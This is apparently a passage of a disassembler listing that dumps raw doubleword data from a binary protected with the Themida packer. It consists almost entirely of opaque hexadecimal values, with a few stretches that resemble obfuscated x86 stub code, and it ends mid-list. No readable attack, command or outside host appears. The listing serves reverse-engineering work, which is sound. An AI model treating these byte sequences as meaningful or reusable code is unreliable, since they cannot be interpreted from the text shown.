2BC53D3Ah dd 0F88C202Ch, 4F3A60C5h, 3630170Bh, 0E6541EBEh, 7D56E0Eh dd 0C8BC8196h, 6905AF4h, 94B28D97h, 2196B5C0h, 8D1B3AE8h dd 41661FDAh, 6526267Eh, 507021DAh, 0DFA39EE9h, 0A85587FBh dd 4CC4625Fh, 21CB502Ch, 2D07E58Dh, 0FA605AF2h, 886EBD68h dd 0E7642758h, 0EC1A7ED6h, 3A391461h, 0F37BB8CDh, 8A323297h dd 4C300D16h, 574B8F08h, 0B17AE598h, 593E1436h, 237h, 0FA7950A2h dd 14CFFA0Dh, 4291A8FBh, 0FD665DA5h, 2E350810h, 57AD4097h dd 51A8B68h, 0BACA3B38h, 62B75083h, 0ED7F8C57h, 9ABF0D79h dd 4D3382C5h, 0CFBB33BDh, 40C3941Dh, 3441CC7Ah, 76A7B519h dd 0A7F71120h, 0F3CEDBD5h, 5D7CB0Fh, 9F2338E1h, 16CD35BDh dd 8A124E61h, 2CD96BF1h, 0ED3035DBh, 0A4233DB4h, 0F80DFC40h dd 0EB03E9CDh, 3A60FC9Fh, 68FC2A10h, 446BE45Dh, 7FF7E8D2h dd 0FBF00733h, 10DA613Bh, 0C466B99Ch, 0C0B48E8Ah, 9D4FD4A8h dd 0C9E56109h, 76E4DE8Ch, 95477287h, 0A7E7E30Bh, 1268E8D5h dd 819273F4h, 0F024BBB4h, 0FF4B5515h, 18218h, 0AC9BEF00h dd 724F56B7h, 0C4F504E1h, 0A9A8EE1Fh, 78475D4Ah, 0F6155CFBh dd 0A74093A2h, 17F0635Eh, 0C02D3601h, 0B0599AB7h, 0BE5034B8h dword_576400 dd 68D7C59Ah, 6DD5DEF0h, 64582C1Bh, 207CBC00h, 885DD11Bh ; DATA XREF: Themida_:0053EA7Co dd 0B0BD9F1Ah, 16BAA60Bh, 9A52328Ah, 0B3CE1A18h, 8072105h dd 425C2132h, 73F9821Ah, 6B5CCEFBh, 198D5F44h, 307D2C6Dh dd 43A498E2h, 8F716783h, 3E4557FFh, 699DB82Ch, 0EFF8769h dd 3D1A3409h, 633971C5h, 0FFAD12D8h, 413DB56Dh, 7D0CEE7Fh dd 8F7C78C2h, 7F678F61h, 9D89723Eh, 0A3ABF13Eh, 3923FBDCh dd 490FD1B5h, 0C26C56EDh, 3EEF7D45h, 0E354DF5h, 0CBDCC92Ah dd 987871FEh, 0BF8B517Ah, 0BED8h, 0E0DF2B00h, 0B6839273h dd 183140ADh, 0EDD42ADBh, 0BC839976h, 32C910A7h, 0E30CD7EEh dd 53BCA79Ah, 3CE90A45h, 0F405DEEBh, 0BE94F074h, 0AC1BC59Ah dd 0F8D5DE34h, 0F3881414h, 0A04DDF69h, 0B1957954h, 941DD5B1h dd 0C6605AC3h, 9F19D73Eh, 0B4C7A8BDh, 0F9DD3185h, 394DE173h dd 8E3A60E7h, 11E5D821h, 0B42FD93Dh, 638992EAh, 6E4E9BCBh dd 1AEED444h, 886B66B3h, 0F003F27Ch, 0D11175D9h, 30727FB5h dd 2726C03Ah, 0D313E7D2h, 6C51AD3Ch, 1C85001Ah, 0C8253E0Bh dd 0A20217BFh, 0B2067A57h, 27967A5Eh, 0E11CE0DFh, 0A8FD22A3h dd 5CA9469Dh, 104F9D61h, 5A8480Ch, 45BA54A4h, 3, 0DE9C84EFh dd 0A009FDD4h, 27967A57h, 0AB12E6D1h, 329B6F52h, 0BA63D7EEh dd 2EB5F66h, 8871C5FCh, 0DFC4079h, 0CF7BCFFAh, 81E18951h dd 4C1h, 4E98100h, 87000000h, 895C240Ch, 8951242Ch, 4C181E1h dd 81000000h, 4E9h, 240C8700h, 2434895Ch, 5B2F68h, 242C8900h dd 0F7BD5552h, 0BA223B00h, 0E3D39860h, 895DEA01h, 8B545AD6h dd 0C483242Ch, 0BD555604h, 0DF41DFFh, 4246C29h, 8458F5Dh dd 0FF084581h, 0FF0DF41Dh, 835D2434h, 348B04C4h, 0E0895024h dd 405h, 4C08300h, 5C240487h, 0FCD9DEE9h, 0AFAD72FFh, 0B8EA49F4h dd 60EA4D8h, 0E0FFC503h, 7048248Fh, 7CA3E563h, 30D80F8Dh dd 0C5929E9h, 4766337h, 7F8D502Eh, 13A83635h, 3C8F4CF4h dd 0D954ADFh, 45061660h, 3A6C174Eh, 5B3AF794h, 4FB50673h dd 2AEAB80Ah, 7E94687Fh, 3C754B1Dh, 13AD1262h, 71542837h dd 9567F01h, 72EB9B07h, 68C345ABh, 50003B61h, 1034B408h dd 196C3F6Eh, 4D443BF8h, 578F1D0h, 4E5313BAh, 15FF7D5Ah dd 279B1611h, 148E9h, 5000h, 5400h, 5800h, 5C00h, 6000h dd 6400h, 6800h, 6C00h, 0B000h, 0B400h, 0B800h, 0BC00h dd 0C000h, 0C400h, 0C800h, 0CC00h, 0D000h, 0D400h, 0D800h dd 0DC00h, 0E000h, 0E400h, 0E800h, 0EC00h, 38h dup(0) dd 5766E500h, 9F50EB00h, 0E1858D00h, 0E8060EA5h, 0Fh, 0E86D0468h dd 0AAE95620h, 0FF9CDF80h, 50D8818Ch, 5F5EFE8Bh, 0A7218589h dd 85C6060Eh, 60B2845h, 3D9D8B54h, 68060B32h, 0A62F36B2h dd 5E9h, 0FDE7C200h, 481D831h, 33317724h, 8E948h, 0D2AA0000h dd 0A095BFA3h, 0B5FF7D8Fh, 60B1355h, 286DBD8Bh, 858D060Bh dd 60E7D18h, 26E18D8Bh, 0D0FF060Bh, 1061BD31h, 8589060Bh dd 60EA725h, 4DE9F5h, 9D090000h, 60B1F9Dh, 21B58B56h, 89060EA7h dd 21858306h, 4060EA7h, 8D60C35Eh, 0EA5E1B5h, 560FEB06h dd 36FF006Ah, 0A72595FFh, 835E060Eh, 3E8304C6h, 61EC7500h dd 0A236BAC3h, 8531247Ch, 60B1AB1h, 0DB816060h, 7D71A0CAh dd 8D6161FCh, 0EA7C285h, 0BF666006h, 0BD8B2086h, 60B0F49h dd 1D858961h, 0EB060B10h, 0BF000039h, 0BF02CC00h, 0BF02E400h dd 0 dd 4870D200h, 517C1447h, 4074C076h, 4B70A322h, 4137074Fh dd 6B19594Eh, 6955DE76h, 6A6D0322h, 7177C352h, 447C214Ah dd 4F79A946h, 26F18222h, 5196A22h, 0AC47F67Ch, 0A41DBE56h dd 321D6966h, 6319A622h, 0B8269074h, 98901451h, 2312D59Bh dd 0E7980CD7h, 0E592F269h, 276417A9h, 903A4B29h, 231286B7h dd 20A4EEA1h, 5019AF29h, 0F4A4572Bh, 251F610Bh, 76492C56h dd 9CA15AA9h, 0AC194D26h, 2E3393A7h, 3F84DE24h, 0DA1FA491h dd 0A6418FF1h, 2E30BB9Fh, 326D3524h, 9CA1C972h, 0AC194D26h dd 2E3393A7h, 2C84DE24h, 0DA1FA492h, 4F418FF1h, 26F13B22h dd 5193522h, 0AC40597Bh, 0A41D696Eh, 391D8266h, 64195322h dd 0E0906A73h, 0DDDBEFFh, 0AC5A1845h, 2E3B94BFh, 7A572324h dd 25732DAFh, 251A4E74h, 7B395322h, 5190F7E1h, 6198D006h dd 250E6E06h, 735F3522h, 0FE8F97E1h, 251CA416h, 0FBC3A622h dd 0AEE68FA4h, 7319C3E2h, 2519D7CAh, 0E6474A22h, 16DBC7Ch dd 15D1B26h, 25195026h, 0E64FE022h, 7D0196A0h, 782C486Eh dd 0D4999C2Bh, 609CAC90h, 731F3E0Ah, 24C027A9h, 10714B29h dd 43B88613h, 1198ABA9h, 0AD90CE06h, 28945F1Fh, 0DA1F6100h dd 2E0A6097h, 26919524h, 43194D22h, 36F071A9h, 5F195322h dd 5EF5C523h, 3B5D5EC3h, 3B54B4A1h, 5C211508h, 0A0946B23h dd 2317303Ah, 14C959DAh, 2E170E97h, 901DC324h, 942EBC6Bh dd 5AA79441h, 0A445CDD2h, 7BD0BE26h, 25734CBEh, 251A4E70h dd 7F395322h, 7190F3E1h, 6198D006h, 25016E06h, 775B3522h dd 8859A3E1h, 0FA985DA7h, 219F3826h, 25195DCAh, 42DC1222h dd 78ADB8ABh, 465CBB50h, 0AEBB9FE1h, 2E160BAFh, 6D711724h dd 43551BF8h, 119884A9h, 98C10D06h, 7619BE6Eh, 251969CAh dd 0E6421522h, 1451379h, 15DCC26h, 2519BC26h, 0E64A1022h dd 37FE48ECh, 4F7A410Ah, 4AC6322h, 0DA1F3E3Bh, 0C49413F2h dd 0AC1F462Dh, 2BB1B7A7h, 0DD92AA24h, 251B6527h, 309C5D22h dd 0A61F648Ah, 0A0902DE2h, 2317323Bh, 0C9A08D11h, 0D619A620h dd 72193988h, 2519AACAh, 0E646F422h, 165E37Dh, 15DB426h dd 25198326h, 0E64E0A22h, 0D7776443h, 9892ADD1h, 231281AFh dd 73F93DA2h, 624E7ABh, 0E3473329h, 2E31DFA7h, 0FF980E24h dd 669CCB53h, 2B4C6A9h, 0C971AF29h, 94FA1187h, 12DEB24h dd 5ABBFB90h, 0CD4B9A48h, 25194D21h, 7FDAFC02h, 213D07ABh dd 213DEDA3h, 2519D43Eh, 99DA3860h, 0FEE98FE4h, 0D279A4BCh dd 25195CCBh, 1E374322h, 59869CC1h, 1C613649h, 86D1560Ah dd 0DAE52E0Fh, 2E0A6097h, 7219F024h, 25194ECAh, 0E6468622h dd 165DA7Dh, 15D2826h, 2519C326h, 0E64E2D22h, 0C6747480h dd 832D2A9Dh, 3D9CC065h, 2A1FA85Fh, 0F5E6A19Dh, 0ACCF1E2Dh dd 2E0051A7h, 70190024h, 251936CAh, 0E644BA22h, 175C47Fh dd 15D2726h, 25194B26h, 0E64CEC22h, 55E251Ah, 2513835Dh dd 0A3FE3522h, 51C40D79h, 0D5C55CB6h, 67C23AFh, 20F15529h dd 2819A922h, 33E0F55h, 734F7ABh, 0AC473329h, 2E36BBA7h dd 72192724h, 2519A5CAh, 0E6467322h, 165207Dh, 15D5526h dd 25197E26h, 0E64E7222h, 2C8CB337h, 0E31F462Ah, 2E31E3A7h dd 0A47F0024h, 4D7A82C0h, 0DD98BDFEh, 2515E52Dh, 77493522h dd 1416C375h, 0FE20F244h, 2198FE78h, 0AC7AF06h, 3790A626h dd 2A19D422h, 251966A1h, 251EDC22h, 21FC9A22h, 0EC0707AAh dd 70AC591Fh, 4F1F5831h, 26F1F822h, 519D422h, 0AC40A97Bh dd 0A41D116Eh, 3E1DBE66h, 64194D22h, 0D7F86573h, 1E37B61Eh dd 0A09466C1h, 2317A93Ah, 0DAE9DD2Dh, 76195FF2h, 251999CAh dd 0E6426D22h, 1452F79h, 15DD226h, 2519B026h, 0E64A9722h dd 0F8AD8675h, 31F0BA61h, 92199A22h, 2844DCF7h, 17B6DDA0h dd 92EEB1D6h, 4976546Fh, 2AC85D00h, 25196CA5h, 0F094BC22h dd 0AC1F9129h, 2E2B90A7h, 44942D24h, 0E31F5823h, 2E31ECA7h dd 0A1168724h, 25196A21h, 4DC9822Dh, 0DED8B43Dh, 0A4CFC644h dd 0CFB58216h, 9B4970FBh, 2163A2FAh, 70AC2B78h, 0AC1F6131h dd 2E012897h, 3D9C1724h, 4F1F435Fh, 26F1F422h, 5195322h dd 0AC436A78h, 0A41DF076h, 311D4E66h, 67193522h, 0DA925970h dd 741927F2h, 2519A5CAh, 0E6407322h, 155207Bh, 15D5526h dd 25197726h, 0E6487422h, 0E6CDB751h, 247A2E87h, 0A516AB99h dd 25195324h, 32883C13h, 0A090D229h, 2312621Fh, 0E3E1822Dh dd 2E31DFA7h, 25730A24h, 251A4E72h, 7D395322h, 6190F1E1h dd 6198D006h, 25046E06h, 75593522h, 0C0622AE1h, 1F95AF91h dd 72E27542h, 7F43AA74h, 25A81C2Bh, 0E071D229h, 75BEDDB2h dd 6C538B70h, 14169429h, 0AE7F1F72h, 4328A9DCh, 7FF1EF98h dd 0A441F37Ah, 6875F016h, 0B8907A4Bh, 23121F4Bh, 364C2FDDh dd 25734B29h, 251A4E75h, 7A395322h, 5990F6E1h, 6198D006h dd 250F6E06h, 725E3522h, 9C251CE1h, 5801C8AFh, 2573A02Ch dd 251ABB70h, 7F39A922h, 71908EE1h, 61986E06h, 25033106h dd 775B9A22h, 0A6653AE1h, 0F0490456h, 0A01083DDh, 2312AB83h dd 703A6E44h, 710EFABh, 25733329h, 251A7273h, 7C394D22h dd 6990FFE1h, 61985706h, 2502AD06h, 7458D422h, 5EB690E1h dd 3A9D5D78h, 2C9C1368h, 0E31F4622h, 2E31E3A7h, 0D2981424h dd 185566A6h, 35712CA9h, 9A46154Ch, 7054E522h, 4F3D9EA3h dd 4F3B1180h, 26F1F622h, 5195322h, 0AC416A7Ah, 0A41DF066h dd 3E1D4E66h, 65193522h, 0B03C5972h, 0DC1E22FCh, 9890E6F5h dd 2312457Bh, 364C1CDDh, 2573D229h, 251A8271h, 7E393522h dd 7990C1E1h, 61984906h, 250FA206h, 765A5322h, 0DD905E1h dd 13041A9h, 0EB986C29h, 3D8F6059h, 58011FAFh, 25734B2Ch dd 251A4E75h, 7A395322h, 5990F6E1h, 6198D006h, 25046E06h dd 725E3522h, 0F99F5E1h, 665291B0h, 0DD61517Fh, 0B03083DDh dd 23128917h, 256851ABh, 9A7F6C29h, 0F399034Ah, 609C5CE4h dd 621F460Ah, 0A29AAF98h, 0E5483B05h, 0AB1667ACh, 2519D421h dd 0A4D1E144h, 0D9151116h, 2573FE61h, 251AA570h, 7F39A622h dd 719009E1h, 6198AD06h, 2503D006h, 775B6A22h, 0CC96F9E1h dd 5C9FEF03h, 0C88CC674h, 7C1FAD22h, 364CE6DDh, 0F798AF29h dd 54D0A753h, 5801EFAFh, 2573332Ch, 251A7277h, 78394D22h dd 4990FBE1h, 61985706h, 2502AD06h, 705CD422h, 8A0F2DE1h dd 9AE1A645h, 914024F2h, 0F5E61574h, 0CD4BA648h, 25195321h dd 7FDAF302h, 213D80ABh, 213D2EA3h, 2519353Ah, 95DAC860h dd 0E23E6F08h, 366823ABh, 25735529h, 251A4172h, 7D39D422h dd 619032E1h, 61983106h, 250C9E06h, 75594D22h, 0CDE90CE1h dd 2519532Fh, 0FB875277h, 0A67C3680h, 4B89D70Dh, 0D79853F2h dd 2A43276Ah, 25194EA3h, 0F7AEA922h, 257383DDh, 251A4172h dd 7D39D422h, 619032E1h, 61983106h, 250D9E06h, 75594D22h dd 98186EE1h, 2312472Fh, 23F82CABh, 0A116D229h, 25196A21h dd 43D3BE44h, 0CC4A42AEh, 25194D28h, 100D1443h, 0B2210D30h dd 143F1B2h, 7519BE26h, 251969CAh, 0E6411522h, 15D137Ah dd 15DCC26h, 2519B026h, 0E6491322h, 2EAF11C7h, 2E1735B7h dd 2AD96024h, 251BA6A6h, 7519F022h, 25194ECAh, 0E6418622h dd 15DDA7Ah, 15D2826h, 2519CF26h, 0E6492A22h, 0BAD5517Eh dd 957D0AB1h, 0E3E1F22Dh dd 2E31E3A7h, 25731C24h, 251A4170h, 7F39D422h, 719030E1h dd 61983106h, 250E9E06h, 775B4D22h, 0BCEB8AE1h, 248CDA0Dh dd 4D1FA211h, 0A3255FB9h, 0A4D1E144h, 0C4301126h, 90A7A361h dd 0DA23B1B4h, 2E0AF397h, 70193924h, 2519AACAh, 0E644F422h dd 175E37Fh, 15DB426h, 25198726h, 0E64C0822h, 0D1E587DCh dd 9655D1E6h, 54AB0E99h, 580151AFh, 25736C2Ch, 251ADD74h dd 7B399A22h, 519013E1h, 6198A206h, 250F5706h, 735FA922h dd 6C0D02E1h, 240CE711h, 0F5E63329h, 1D919DEh, 0ACEAC644h dd 2E1A77A7h, 0CC983524h, 0A092CEEEh, 2312D2C3h, 0CD496A48h dd 25193521h, 7DDAC202h, 213D09ABh, 213DE2A3h, 2519533Ah dd 7EDAF962h, 9CA9723h, 3668F7A9h, 0A8903329h, 23128A67h dd 70192761h, 2519A5CAh, 0E6447322h, 175207Fh, 15D5526h dd 25197E26h, 0E64C7022h, 0AEC911A9h, 77192739h, 2519A5CAh dd 0E6437322h, 14D2078h, 15D5526h, 25197326h, 0E64B7722h dd 5AEEE14h, 3E92A96Dh, 8CAC2F72h, 7B1F583Ah, 0AB16B2A9h dd 2519D427h, 0EBB91E98h, 43C10645h, 4328F59Dh, 992D9CA3h dd 23F43BABh, 0AF165529h, 2519A924h, 23AC59ABh, 0B0906C29h dd 23123983h, 0D5C1FE4h, 0AE5E4B29h, 2E18FF97h, 27543B24h dd 9F7F7747h, 1198FF03h, 9EC68E06h, 5894BE4Bh, 0DA1F9131h dd 2E0A1897h, 0A8EA2D24h, 2B644BA7h, 7219C324h, 2519D7CAh dd 0E6464A22h, 165BC7Dh, 15D1B26h, 25195726h, 0E64EE122h dd 3117A2Ch, 0AE03701Eh, 2E029997h, 0AEC99524h, 2E1924AFh dd 2C9C1324h, 431F4600h, 432851A3h, 73193962h, 2519AACAh dd 0E647F422h, 16DE37Ch, 15DB426h, 25198726h, 0E64F0B22h dd 0FF3AD38Eh, 4D47119Dh, 0B8906B4Ah, 2312E723h, 25736AA9h dd 251ADD71h, 7E399A22h, 799016E1h, 6198A206h, 25005706h dd 765AA922h, 7AAE9DE1h, 2AD4325Dh, 0AC16FC9Dh, 25199A24h dd 16D8C0A9h, 0DC79A029h, 44CAEC2Dh, 2573A9A9h, 251A3C74h dd 7B396A22h, 51906BE1h, 61989E06h, 25044906h, 735FA622h dd 48B049E1h, 83F50099h, 2A73EEFCh, 25196CAFh, 80A4BE22h dd 0AC1F912Eh, 2E2B6CA7h, 0E8AC2D24h, 0CC1F5824h, 2519A809h dd 8D2E51AFh, 25736C2Ch, 251ADD70h, 7F399A22h, 719017E1h dd 6198A206h, 25015706h, 775BA922h, 92FEF8E1h, 0A47FC29Fh dd 75735CE3h, 25199DCAh, 0E9EC5922h, 7D9A26FCh, 7B400072h dd 11D2078h, 0CD4AD448h, 25196A21h, 7EDA6E02h, 213DC6ABh dd 213D09A3h, 2519A63Fh, 89DA0061h, 1E88A2ABh, 0DC05CE6Eh dd 508C956Ch, 0E1F3E0Ah, 2E116FB7h, 1884C024h, 451FA88Ah dd 0CDDBEC2Dh, 2519A930h, 7B85E43Ah, 5B94A20h, 9DF120BCh dd 0BA8EC781h, 0A090B4D6h, 2312B3D7h, 2A49327Bh, 2519A9A5h dd 1055D22h, 2EB8E7A9h, 43493329h, 219069A9h, 73192706h dd 2519A5CAh, 0E6477322h, 16D207Ch, 15D5526h, 25197326h dd 0E64F7322h, 0CB669F5Fh, 0B0900659h, 2312BCE7h, 251CDEABh dd 0B0E6AF29h, 2312C7F3h, 0CD4C6A48h, 25193521h, 78DAC702h dd 213D21ABh, 213DE2A3h, 2519533Ah, 9ADAFC67h, 92CA88CEh dd 250CE02Dh, 35F03522h, 11199A22h, 98133481h, 7F25DFBFh dd 8B669621h, 0AC05AEFEh, 2E1A05A7h, 0C0A4E124h, 0E31F3E0Ah dd 2E31DFA7h, 0FC981E24h, 60C17E0Ch, 89E4454Ah, 11D2810h dd 52C3534Bh, 6FC38BA3h, 90E671D2h, 23128977h, 251942CBh dd 3DC03C22h, 0AC29981Eh, 180139F5h, 0A54DA263h, 5801EFAFh dd 36F0332Ch, 90199A22h, 0D43DCA04h, 8E9AA7B9h, 765394BFh dd 0FA7D24D6h, 0F5E604B2h, 0CD4C6A48h, 25193521h, 78DAC702h dd 213D21ABh, 213DE2A3h, 25195339h, 0FEDAFC67h, 6CAFF309h dd 0ACF13296h, 2E1620A7h, 7519F024h, 25194ECAh, 0E6418622h dd 15DDA7Ah, 15D2826h, 2519C926h, 0E6492A22h, 34640CB5h dd 0B5A554A9h, 0B092C955h, 2312B447h, 0D5CD6E4h, 4F5EAF29h dd 26F18522h, 5196A22h, 0AC40F67Bh, 0A41DBE6Eh, 391D6966h dd 6419A622h, 64FB9073h, 2388D58Fh, 26D9B20Dh, 2E103BB7h dd 115E5D24h, 54A037CBh, 0A44F676Eh, 4CE8216h, 0D6925FB9h dd 364C1CDDh, 2573D229h, 251A8273h, 7C393522h, 6990C3E1h dd 61984906h, 250EA206h, 74585322h, 4C661FE1h, 3D9C5945h dd 261F645Fh, 2E091CAFh, 0AEC96524h, 2E13849Fh, 649C2F24h dd 4F1F5824h, 26F1F822h, 519D422h, 0AC40A97Bh, 0A41D116Eh dd 301DBE66h, 64194D22h, 69936573h, 0D5CD6E4h, 4F4AAF29h dd 26F18422h, 5196A22h, 0AC41F67Ah, 0A41DBE66h, 391D6966h dd 6519A622h, 3AFE9072h, 0DDA863D5h, 4DFDE79Fh, 0C36ECA12h dd 853D01A3h, 4F66D4DDh, 26F11A22h, 519A622h, 0AC46907Dh dd 0A41D8D5Eh, 3C1DF066h, 62196A22h, 6BD7F675h, 0F792FFB8h dd 208C6442h, 2A1FAD31h, 251955AAh, 2598A622h, 4419D422h dd 364CDFDDh, 25733329h, 251A7270h, 7F394D22h, 7190FCE1h dd 61985706h, 250FAD06h, 775BD422h, 8A5059E1h, 25193BCBh dd 3B289122h, 8B838C44h, 7F7E66B3h, 0AC125E1Eh, 2E0D18AFh dd 58ACFF24h, 0A81F6138h, 2B642DA7h, 7619F024h, 25194ECAh dd 0E6428622h, 145DA79h, 15D2826h, 2519C026h, 0E64A2922h dd 14AC1C69h, 0DA1F9103h, 0DEA642F2h, 2FDC23ABh, 25735529h dd 251A4177h, 7839D422h, 499037E1h, 61983106h, 25009E06h dd 705C4D22h, 0DC3243E1h, 0ACEC0A51h, 2E31CCA7h, 609C1224h dd 721F610Ah, 0CD4E3548h, 25199A21h, 7ADA1202h, 213DDAABh dd 213D17A3h, 2519A93Bh, 3EDA8365h, 0B21A6649h, 98906297h dd 231296FFh, 0F4981F7Dh, 454446E1h, 9F733B7Ch, 21988DB9h dd 4D8E4806h, 5CA44349h, 0DA1F3E2Ch, 2E0ACF97h, 70192724h dd 2519A5CAh, 0E6447322h, 175207Fh, 15D5526h, 25197D26h dd 0E64C7022h, 0C7DCD67Eh, 251944CBh, 319D5922h, 0F5CAF475h dd 9890552Dh, 2312D1C3h, 0A8D7D52Dh, 2B642DA7h, 25107324h dd 0F6904D22h, 6774C0D0h, 0DA83DB16h, 4CDF28F2h, 0AC762ACBh dd 2E3D7BA7h, 2515DC24h, 0A1C19A22h, 1B472D2Dh, 77826A02h dd 0A0DF0A7Eh, 23128167h, 7519BE61h, 251969CAh, 0E6411522h dd 15D137Ah, 15DCC26h, 2519B026h, 0E6491322h, 0AEB44E10h dd 2E1FA59Fh, 251D8224h, 55313522h, 0EAAF26B2h, 15DC672h dd 0AB16C626h, 25195327h, 64510999h, 0DC92B255h, 0CD19E143h dd 2519352Bh, 8FF9E850h, 0A7DE6863h, 2EA7C0DFh, 6190098Ah dd 2AF1AD06h, 0F019D422h, 0F1F916C4h, 3376D236h, 71FFA7E5h dd 98A30792h, 7A2A9499h, 7519397Ah, 2519AACAh, 0E641F422h dd 15DE37Ah, 15DB426h, 25198226h, 0E6490D22h, 0DACB4806h dd 279F5C00h, 9319A922h, 25093DF9h, 62BE6A22h, 387C2964h dd 7F0F12A2h, 0AB9EADE7h, 90E6DE4Ah, 23124077h, 0CD49A948h dd 2519D421h, 7DDA3202h, 213D71ABh, 213DDEA3h, 25194D36h dd 0B5DAF662h, 765785A2h, 7CC8162Dh, 580151AFh, 0CC4E6C2Ch dd 25193530h, 8A7CE56h, 33921493h, 0D60813A9h, 0E697A3E5h dd 0DA407705h, 90A45FF2h, 0AC1F610Ah, 2E3E90A7h, 0F692FC24h dd 8D34C8AFh, 2573A02Ch, 251ABB72h, 7D39A922h, 61908CE1h dd 61986E06h, 25003106h, 75599A22h, 20A7B1E1h, 26B5A410h dd 2E3E8A97h, 91A6F924h, 0AC482828h, 25734E26h, 251ADD77h dd 78399A22h, 499010E1h dd 6198A206h, 25025706h, 705CA922h, 0B967AEE1h, 0FCFCD34Eh dd 508CCA33h, 0CD1F910Ah, 25194D30h, 0EF43AB87h, 759E8124h dd 665DACA2h, 2F69D146h, 2BF008DCh, 0C7193522h, 5FD224E8h dd 15FCAB8Eh, 0A6BFD21h, 0FD920CF0h, 0CD4CA948h, 2519D421h dd 78DA3702h, 213D59ABh, 213DDEA3h, 25194D3Bh, 37DAF367h dd 0F85BDF08h, 0A0945553h, 23177C03h, 0CD486A48h, 25193521h dd 7CDAC302h, 213D01ABh, 213DE2A3h, 2519533Ah, 0F3DAF863h dd 1236C9B8h, 43496693h, 2190E2A9h, 7019F006h, 25194ECAh dd 0E6448622h, 175DA7Fh, 15D2826h, 2519C926h, 0E64C2F22h dd 88395023h, 8D231E47h, 0DD4B6B7Dh, 7749F67Bh, 14161790h dd 251F222Dh, 7749D422h, 7D435B2Dh, 39906D78h, 7519F006h dd 25194ECAh, 0E6418622h, 15DDA7Ah, 15D2826h, 2519C126h dd 0E6492A22h, 90928A61h, 2312BEABh, 36C8D8DDh, 9B7FA029h dd 0A0908E32h, 2312B1CFh, 2519C6CBh, 212DD422h, 2786C05Bh dd 69E0A0B5h, 59F59272h, 0E23C0884h, 2E2AD6A7h, 2519A624h dd 7219BE22h, 251969CAh, 0E6461522h, 165137Dh, 15DCC26h dd 2519BA26h, 0E64E1422h, 90F3CE72h, 0A45F7678h, 308463F0h dd 0AE1F3E0Ch, 2E347397h, 0C88CB224h, 4F1FAD3Ah, 26F10622h dd 519A922h, 0AC44177Fh, 0A41D4E4Eh, 321D1166h, 60199A22h dd 85108E77h, 0F39282D1h, 0DD90189Dh, 449C2031h, 4F1FDF3Bh dd 26F13B22h, 5193522h, 0AC40597Bh, 0A41D696Eh, 3C1D8266h dd 64195322h, 48D96A73h, 0AB39E40Eh, 251963CAh, 55015822h dd 5A74BF05h, 0AC4EC964h, 2E371B97h, 43460924h, 0A09261A9h dd 2312CDA7h, 9F2DF7AFh, 6690332Ch, 40A41723h, 0A81F4601h dd 2BA3A897h, 252AEA24h, 81EAA922h, 25A1E7C9h, 2E196A22h dd 0E71A41E2h, 61929A3Ah, 0CD4A4106h, 2519A622h, 32DAD279h dd 0AC19A922h, 0AC09F07Eh, 7E0D4E66h, 0BAB9029Ah, 0AEF96522h dd 0DA1D6966h, 0A892C6C2h, 231257FBh, 0A4AC8043h, 441FDF2Eh dd 251978CAh, 34286122h, 6601FC15h, 0CCD4E5BAh, 5111B155h dd 0CD2B6F33h, 2519A92Ah, 0CC9D566Eh, 676FED7Ah, 7C406C75h dd 8D3827AFh, 0A8944B2Ch, 23171CB6h, 3B2669Ah, 0C49C9ABAh dd 0E1FDF0Bh, 224F79EDh, 2226F182h, 7C05196Ah, 56AC47F6h dd 66A41DBEh, 22321D69h, 746319A6h, 0F305E983h, 6AD98BA4h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 19042444h dd 45000000h, 8797C355h, 1FDBCF5Fh, 3FDB531h, 9E9060Bh dd 0F2000000h, 0D655C5D1h, 7C78EC9Bh, 12E9h, 6061F500h dd 6F18D781h, 0E9815732h, 15F1102Ch, 8BFCC361h, 890F60C0h dd 4, 0A788B866h, 0BD8361F5h, 60B05BDh, 83097500h, 0B29D1BDh dd 19740006h, 0C08B5350h, 4B9B8h, 99858900h, 8D060B12h dd 0DB3819Dh, 5BD3FF06h, 0D1BD8358h, 60B29h, 53501774h dd 4B9B8h, 99858900h, 8D060B12h, 0DB0229Dh, 5BD3FF06h dd 28A0F58h, 60000000h, 5E961h, 0D8F0000h, 6AF1A3ACh, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 1C042444h, 42000000h dd 58D4C352h, 0C8558F08h, 0FCE1714Ch, 6AC08Bh, 3E856h dd 5E200000h, 74895EC3h, 44810424h, 170424h, 56460000h dd 0DD82E7C3h, 0C18B4031h, 0BBCFBF66h, 4EBh, 6A0000h, 3E851h dd 59200000h, 4C8959C3h, 44810424h, 140424h, 51410000h dd 0BE99AC3h, 1B000000h, 0B5B5C75Eh, 6674571Bh, 6A4A4Fh dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 170424h, 56460000h dd 13EADDC3h, 0E6BF66FFh, 6870F20h, 29000000h, 0B1275BDh dd 0A9858D06h, 6A060B28h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 19042444h, 40000000h, 714DC350h, 8821D290h dd 0FB5BD8Bh, 5750060Bh, 5FF08B66h, 6A240489h, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 18042444h, 45000000h dd 0A5CEC355h, 0E9CA2BC0h, 7, 5A99179Eh, 8BAF5BBEh, 7DF681FBh dd 6A650A62h, 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h dd 1604h, 0C3504000h, 81C8E0A0h, 0A67F1DCEh, 6A006A0Fh dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 1A042444h dd 42000000h, 3B27C352h, 3C35668Ah, 0CD858DF6h, 89060EBDh dd 0B106185h, 358D0106h, 83060B09h, 0B58B05C0h, 60B0329h dd 24048950h, 0D3B21FBEh, 6A006A09h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 14042444h, 46000000h, 0F49C356h dd 686h, 0D19D8900h, 6A060B32h, 418D8900h, 0FF060B0Fh dd 0B2F2195h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1C04h, 0C3564600h, 0F920F1FBh, 73CB3D0Ah, 0A1BD8993h dd 8D060B0Dh, 0EA7B09Dh, 51006A06h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1D04h, 0C3514100h, 3CBD633Fh, 0D4DB763Eh dd 3160FA21h, 0B2DFD85h, 0E9B58B06h, 61060B23h, 41953160h dd 61060B0Ch, 0D681D3FFh, 443CE49h, 66D85FFh, 6A060Bh dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1B0424h, 51410000h dd 893D10C3h, 6A3C29BAh, 0A5BD336Dh, 8B060B16h, 713E9F8h dd 0E80000h, 5D000000h, 0BDD7ED81h, 0BD81060Eh, 